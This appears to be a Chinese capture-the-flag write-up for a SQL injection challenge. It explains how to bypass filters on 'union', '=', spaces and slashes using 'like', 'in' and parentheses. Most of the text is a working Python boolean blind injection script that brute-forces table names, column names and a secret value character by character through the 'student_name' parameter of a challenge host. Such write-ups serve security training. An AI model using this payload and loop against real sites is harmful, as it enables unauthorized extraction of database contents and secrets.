多次尝试,会发现 union = / 都被禁用了。

union 被禁用,说明此时该使用盲注,我们能够通过插入 and 1 或者 and 0 来控制是否返回数据,由此可以使用布尔盲注

= 的绕过可以使用 like 或者 in 代替

空格和斜杠 / 被禁用,可以使用括号代替

import string, time, requests

flag = ''
result = ''
flagstr = string.ascii_letters + string.digits + '_-{}'
url = "http://eci-2zebvccqe8nkjg2efc8s.cloudeci1.ichunqiu.com/"

for i in range(100):
    print(f'[+] Bruting at {i}')
    for c in flagstr:
        time.sleep(0.2)  # 限制速率,防止请求过快
        tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
        columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
        flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'

        # 获取所有表名的第 i 个字符,并计算 ascii 值
        char = f'(ord(mid({flag},{i},1)))'

        # 爆破该 ascii 值
        b = f'(({char})in({ord(c)}))'

        # 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
        p = f'Alice\'and({b})#'

        res = requests.get(url, params={'student_name': p})

        if 'Alice' in res.text:
            print('[*]bingo:', c)
            result += c
            print(result)
            break